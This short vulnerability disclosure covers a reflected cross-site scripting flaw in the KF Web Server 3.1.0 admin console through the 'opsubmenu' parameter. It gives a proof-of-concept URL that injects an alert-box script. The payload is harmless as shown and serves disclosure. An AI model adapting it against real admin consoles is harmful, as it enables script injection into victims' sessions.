KF Web Server 3.1.0 admin console XSS
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site:http://www.keyfocus.net/kfws/ 

parameter:opsubmenu

poc
---
http://127.0.0.1:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript% 

3Ealert('xss');%3C/script%3E

bug found by: Shay Priel aka Prili - imprili@gmail.com